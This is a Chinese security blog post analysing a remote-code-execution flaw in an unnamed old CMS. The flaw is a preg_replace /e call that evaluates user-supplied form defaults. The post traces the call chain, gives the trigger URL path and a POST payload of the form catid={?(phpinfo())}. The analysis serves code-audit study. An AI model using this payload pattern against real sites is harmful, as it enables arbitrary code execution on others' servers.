<!DOCTYPE html>



  


<html class="theme-next mist use-motion" lang="">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">



  
  
    
    
  <script src="/lib/pace/pace.min.js?v=1.0.2"></script>
  <link href="/lib/pace/pace-theme-minimal.min.css?v=1.0.2" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="代码审计,">










<meta name="description" content="源码分析该处漏洞主要是preg_replace 函数/e模式下存在的代码执行问题，虽然该程序版本较老，但该问题在其他程序中仍时有存在 漏洞触发点在 lib/tool/form.php文件中，关键代码如下： 1234567891011121314function getform($name,$form,$field,$data) &amp;#123;        if (get(&apos;table&apos;) &amp;amp">
<meta name="keywords" content="代码审计">
<meta property="og:type" content="article">
<meta property="og:title" content="某cms5-5代码执行分析">
<meta property="og:url" content="https://yml-sec.top/2019/08/13/某cms5-5代码执行分析/index.html">
<meta property="og:site_name" content="yemoli&#39;s blog">
<meta property="og:description" content="源码分析该处漏洞主要是preg_replace 函数/e模式下存在的代码执行问题，虽然该程序版本较老，但该问题在其他程序中仍时有存在 漏洞触发点在 lib/tool/form.php文件中，关键代码如下： 1234567891011121314function getform($name,$form,$field,$data) &amp;#123;        if (get(&apos;table&apos;) &amp;amp">
<meta property="og:locale" content="default">
<meta property="og:image" content="https://i.loli.net/2019/08/13/nsBuUXdalyfo3Sg.png">
<meta property="og:image" content="https://i.loli.net/2019/08/13/moqT8OQ3nCGEVKA.png">
<meta property="og:updated_time" content="2019-08-13T09:24:30.119Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="某cms5-5代码执行分析">
<meta name="twitter:description" content="源码分析该处漏洞主要是preg_replace 函数/e模式下存在的代码执行问题，虽然该程序版本较老，但该问题在其他程序中仍时有存在 漏洞触发点在 lib/tool/form.php文件中，关键代码如下： 1234567891011121314function getform($name,$form,$field,$data) &amp;#123;        if (get(&apos;table&apos;) &amp;amp">
<meta name="twitter:image" content="https://i.loli.net/2019/08/13/nsBuUXdalyfo3Sg.png">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Mist',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: 'Author'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://yml-sec.top/2019/08/13/某cms5-5代码执行分析/">





  <title>某cms5-5代码执行分析 | yemoli's blog</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="default">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>
    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">yemoli's blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            About
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
            
            Tags
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            Archives
          </a>
        </li>
      
        
        <li class="menu-item menu-item-friends">
          <a href="/friends/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-sitemap"></i> <br>
            
            friends
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://yml-sec.top/2019/08/13/某cms5-5代码执行分析/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="夜莫离、">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="yemoli's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">某cms5-5代码执行分析</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-08-13T14:00:16+08:00">
                2019-08-13
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Words count in article&#58;</span>
                
                <span title="Words count in article">
                  1.2k
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Reading time &asymp;</span>
                
                <span title="Reading time">
                  5
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <h1 id="源码分析"><a href="#源码分析" class="headerlink" title="源码分析"></a>源码分析</h1><p>该处漏洞主要是<strong>preg_replace</strong> 函数/e模式下存在的代码执行问题，虽然该程序版本较老，但该问题在其他程序中仍时有存在</p>
<p>漏洞触发点在 lib/tool/form.php文件中，关键代码如下：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getform</span><span class="params">($name,$form,$field,$data)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (get(<span class="string">'table'</span>) &amp;&amp;<span class="keyword">isset</span>(setting::$var[get(<span class="string">'table'</span>)][$name]))</span><br><span class="line">            $form[$name]=setting::$var[get(<span class="string">'table'</span>)][$name];</span><br><span class="line">        <span class="keyword">if</span> (get(<span class="string">'form'</span>) &amp;&amp;<span class="keyword">isset</span>(setting::$var[get(<span class="string">'form'</span>)][$name]))</span><br><span class="line">            $form[$name]=setting::$var[get(<span class="string">'form'</span>)][$name];</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">isset</span>($form[$name][<span class="string">'default'</span>]))</span><br><span class="line">            $form[$name][<span class="string">'default'</span>]=preg_replace(<span class="string">'/\&#123;\?([^&#125;]+)\&#125;/e'</span>,<span class="string">"eval('return $1;')"</span>,$form[$name][<span class="string">'default'</span>]);</span><br><span class="line">        <span class="keyword">if</span> (!<span class="keyword">isset</span>($data[$name]) &amp;&amp;<span class="keyword">isset</span>($form[$name][<span class="string">'default'</span>]))</span><br><span class="line">            $data[$name]=@$form[$name][<span class="string">'default'</span>];</span><br><span class="line">        <span class="keyword">if</span> (preg_match(<span class="string">'/templat/'</span>,$name) &amp;&amp;<span class="keyword">empty</span>($data[$name]))</span><br><span class="line">            $data[$name]=@$form[$name][<span class="string">'default'</span>];</span><br><span class="line">        <span class="keyword">if</span> (@$form[$name][<span class="string">'filetype'</span>] == <span class="string">'image'</span>) &#123;</span><br><span class="line">            $return=form::upload_image($name,front::post($name) ?front::post($name) : @$data[$name]);</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure>
<p>关键点在于这句</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($form[$name][<span class="string">'default'</span>]))</span><br><span class="line">            $form[$name][<span class="string">'default'</span>]=preg_replace(<span class="string">'/\&#123;\?([^&#125;]+)\&#125;/e'</span>,<span class="string">"eval('return $1;')"</span>,$form[$name][<span class="string">'default'</span>]);</span><br></pre></td></tr></table></figure>
<p>当if条件成立时，就会引发代码执行问题</p>
<p>下面寻找触发getform函数的代码</p>
<p><img src="https://i.loli.net/2019/08/13/nsBuUXdalyfo3Sg.png" alt=""></p>
<p>可以看到该函数存在六处调用，尝试跟进第一处</p>
<p>代码位于 cache/template/default/manage/#guestadd.php</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">echo</span> form::getform(<span class="string">'catid'</span>,$form,$field,$data);<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<p>该段直接调用了静态方法getform，但目前并不知道 catid是什么，尝试全局搜索</p>
<p>在/lib/table/archive.php中找到了catid 相关的函数</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_form</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">array</span>(</span><br><span class="line">                <span class="string">'catid'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'select'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(category::option(<span class="number">0</span>,<span class="string">'tolast'</span>)),</span><br><span class="line">                        <span class="string">'default'</span>=&gt;get(<span class="string">'catid'</span>),</span><br><span class="line">                        <span class="string">'regex'</span>=&gt;<span class="string">'/\d+/'</span>,</span><br><span class="line">                        <span class="string">'filter'</span>=&gt;<span class="string">'is_numeric'</span>,</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'typeid'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'select'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(type::option(<span class="number">0</span>,<span class="string">'tolast'</span>)),</span><br><span class="line">                        <span class="string">'default'</span>=&gt;get(<span class="string">'typeid'</span>),</span><br><span class="line">                        <span class="string">'regex'</span>=&gt;<span class="string">'/\d+/'</span>,</span><br><span class="line">                        <span class="string">'filter'</span>=&gt;<span class="string">'is_numeric'</span>,</span><br><span class="line">                ),</span><br><span class="line">				<span class="string">'toppost'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'select'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(<span class="keyword">array</span>(<span class="number">0</span>=&gt;<span class="string">'不置顶'</span>,<span class="number">2</span>=&gt;<span class="string">'栏目置顶'</span>,<span class="number">3</span>=&gt;<span class="string">'全站置顶'</span>)),</span><br><span class="line">                        <span class="string">'default'</span>=&gt;<span class="number">0</span>,</span><br><span class="line">                        <span class="string">'regex'</span>=&gt;<span class="string">'/\d+/'</span>,</span><br><span class="line">                        <span class="string">'filter'</span>=&gt;<span class="string">'is_numeric'</span>,</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'ishtml'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'radio'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(<span class="keyword">array</span>(<span class="number">0</span>=&gt;<span class="string">'继承'</span>,<span class="number">1</span>=&gt;<span class="string">'生成'</span>,<span class="number">2</span>=&gt;<span class="string">'不生成'</span>)),</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'checked'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'radio'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(form::yesornotoarray(<span class="string">'审核'</span>)),</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'image'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'filetype'</span>=&gt;<span class="string">'image'</span>,</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'thumb'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'filetype'</span>=&gt;<span class="string">'thumb'</span>,</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'displaypos'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'checkbox'</span>,</span><br><span class="line">                        <span class="comment">//'select'=&gt;form::arraytoselect(array(1=&gt;'首页推荐',2=&gt;'首页焦点',3=&gt;'首页头条',4=&gt;'列表页推荐',5=&gt;'内容页推荐')),</span></span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'htmlrule'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="comment">//'tips'=&gt;" 默认：&#123;?category::gethtmlrule(get('id'),'showhtmlrule')&#125;",</span></span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'template'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'select'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(front::$view-&gt;archive_tpl_list(<span class="string">'archive/show'</span>)),</span><br><span class="line">                        <span class="comment">//'tips'=&gt;" 默认：&#123;?category::gettemplate(get('id'),'showtemplate')&#125;",</span></span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'showform'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'select'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(get_my_tables_list()),</span><br><span class="line">                        <span class="string">'default'</span>=&gt;<span class="string">"0"</span>,</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'introduce_len'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'default'</span>=&gt;config::get(<span class="string">'archive_introducelen'</span>)</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'attr1'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'checkbox'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(<span class="keyword">$this</span>-&gt;getattrs(<span class="number">1</span>)),</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'grade'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'radio'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(<span class="keyword">array</span>(<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>)),</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'pics'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'filetype'</span>=&gt;<span class="string">'image2'</span>,</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'author'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'tips'</span>=&gt;<span class="string">' '</span>,</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'attr3'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'tips'</span>=&gt;<span class="string">' '</span>,</span><br><span class="line">                ),</span><br><span class="line">                <span class="string">'htmlrule'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">                        <span class="string">'selecttype'</span>=&gt;<span class="string">'select'</span>,</span><br><span class="line">                        <span class="string">'select'</span>=&gt;form::arraytoselect(getHtmlRule(<span class="string">'archive'</span>)),</span><br><span class="line">                        <span class="string">'default'</span>=&gt;<span class="string">''</span>,</span><br><span class="line">                ),</span><br><span class="line">        		<span class="string">'tag_option'</span>=&gt;<span class="keyword">array</span>(</span><br><span class="line">        				<span class="string">'selecttype'</span>=&gt;<span class="string">'select'</span>,</span><br><span class="line">        				<span class="string">'select'</span>=&gt;form::arraytoselect(tag::getTags()),</span><br><span class="line">        		),</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>
<p>注意到这一句</p>
<figure class="highlight dart"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'default'</span>=&gt;<span class="keyword">get</span>(<span class="string">'catid'</span>),</span><br></pre></td></tr></table></figure>
<p>跟进get函数</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get</span><span class="params">($var)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (front::get($var))</span><br><span class="line">        <span class="keyword">return</span> front::get($var);</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (front::post($var))</span><br><span class="line">        <span class="keyword">return</span> front::post($var);</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (config::get($var))</span><br><span class="line">        <span class="keyword">return</span> config::get($var);</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (session::get($var))</span><br><span class="line">        <span class="keyword">return</span> session::get($var);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>继续跟进</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">get</span><span class="params">($var)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="keyword">self</span>::$get[$var]))</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">self</span>::$get[$var];</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="keyword">static</span> <span class="function"><span class="keyword">function</span> <span class="title">post</span><span class="params">($var)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="keyword">self</span>::$post[$var]))</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">self</span>::$post[$var];</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>
<p>最后跟进到front类中__construct()函数</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//关键语句</span></span><br><span class="line"><span class="keyword">self</span>::$get=$_GET;</span><br><span class="line"><span class="keyword">self</span>::$post=$_POST;</span><br></pre></td></tr></table></figure>
<p>这就说明catid和defult的值都是我们可以控制的，这样我们就可以通过控制$form[$name(catid)] [‘default’]来达到执行任意代码的目的</p>
<p>此时我们需要寻找一个触发get_form()函数的地方，并且再触发该函数后需要引用guestadd.php页面以此衔接我们的利用操作，全局搜索后定位在 /lib/default/manage_act.php ，该文件在第29行对get_form()函数进行了调用</p>
<figure class="highlight xl"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$<span class="function"><span class="title">this</span>-&gt;</span><span class="function"><span class="title">view</span>-&gt;</span><span class="function"><span class="title">form</span>=$this-&gt;</span>_<span class="function"><span class="title">table</span>-&gt;</span>get_form();</span><br></pre></td></tr></table></figure>
<p>同时在/lib/tool/front_class.php 文件的front类中存在这样的代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (@$_GET[<span class="string">'g'</span>] &amp;&amp;is_numeric(@$_GET[<span class="string">'g'</span>])) &#123;    </span><br><span class="line">header(<span class="string">'location: ?case=manage&amp;act=guestadd&amp;manage=archive&amp;guest=1'</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>该文件是网站入口文件index.php所引用的，所以我们访问如下url即可触发</p>
<figure class="highlight dts"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">http:</span><span class="comment">//localhost/?g=1</span></span><br></pre></td></tr></table></figure>
<p>接着会被重定向为这样：</p>
<figure class="highlight crystal"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">http:</span>/<span class="regexp">/localhost/index</span>.php?<span class="keyword">case</span>=manage&amp;act=guestadd&amp;manage=archive&amp;guest=<span class="number">1</span></span><br></pre></td></tr></table></figure>
<p>这时只要post过去符合正则匹配的代码就可以了</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'/\&#123;\?([^&#125;]+)\&#125;/e'</span></span><br><span class="line"><span class="comment">//该段正则表达式即为匹配&#123;?任意内容&#125;,当post如下语句时就会触发执行</span></span><br><span class="line"><span class="comment">//catid=&#123;?(phpinfo())&#125;</span></span><br></pre></td></tr></table></figure>
<p>梳理一下利用过程：</p>
<figure class="highlight crystal"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">index.php-&gt;</span><br><span class="line">(<span class="regexp">/lib/tool</span><span class="regexp">/front_class.php)-&gt;</span></span><br><span class="line"><span class="regexp">(/lib</span><span class="regexp">/default/manage</span>_act.php)[-&gt;get_form()]-&gt;</span><br><span class="line">(cache/template/default/manage/<span class="comment">#guestadd.php)[-&gt;getform('catid'...)]-&gt;</span></span><br><span class="line">(<span class="class"><span class="keyword">lib</span>/<span class="title">tool</span>/<span class="title">form</span>.<span class="title">php</span>)[<span class="title">preg_reolace</span>()]//<span class="title">RCE</span></span></span><br></pre></td></tr></table></figure>
<h1 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h1><p>当我们传入{?(phpinfo())}时，函数会变成这样</p>
<figure class="highlight lisp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">preg_replace('/\&#123;\?([^&#125;]+)\&#125;/e',<span class="string">"eval('return $1;')"</span>,<span class="string">"&#123;?(phpinfo())&#125;"</span>)<span class="comment">;</span></span><br></pre></td></tr></table></figure>
<p>匹配成功后会执行eval(‘return $1;’)</p>
<p>而(phpinfo())在正常情况下同样会执行</p>
<p><img src="https://i.loli.net/2019/08/13/moqT8OQ3nCGEVKA.png" alt=""></p>
<p>执行成功会返回true这样前面的eval(‘return $1;’)就相当于eval(‘return phpinfo();’)，所以出现了代码执行</p>

      
    </div>
    
    
    

    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechatpay.jpg" alt="夜莫离、 WeChat Pay">
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/alipay.jpg" alt="夜莫离、 Alipay">
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/代码审计/" rel="tag"># 代码审计</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/08/06/DedeCms5-7任意用户密码重置分析/" rel="next" title="DedeCms5-7任意用户密码重置分析">
                <i class="fa fa-chevron-left"></i> DedeCms5-7任意用户密码重置分析
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/08/19/SUCTF2019部分web题解/" rel="prev" title="SUCTF2019部分web题解">
                SUCTF2019部分web题解 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Table of Contents
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Overview
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">夜莫离、</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
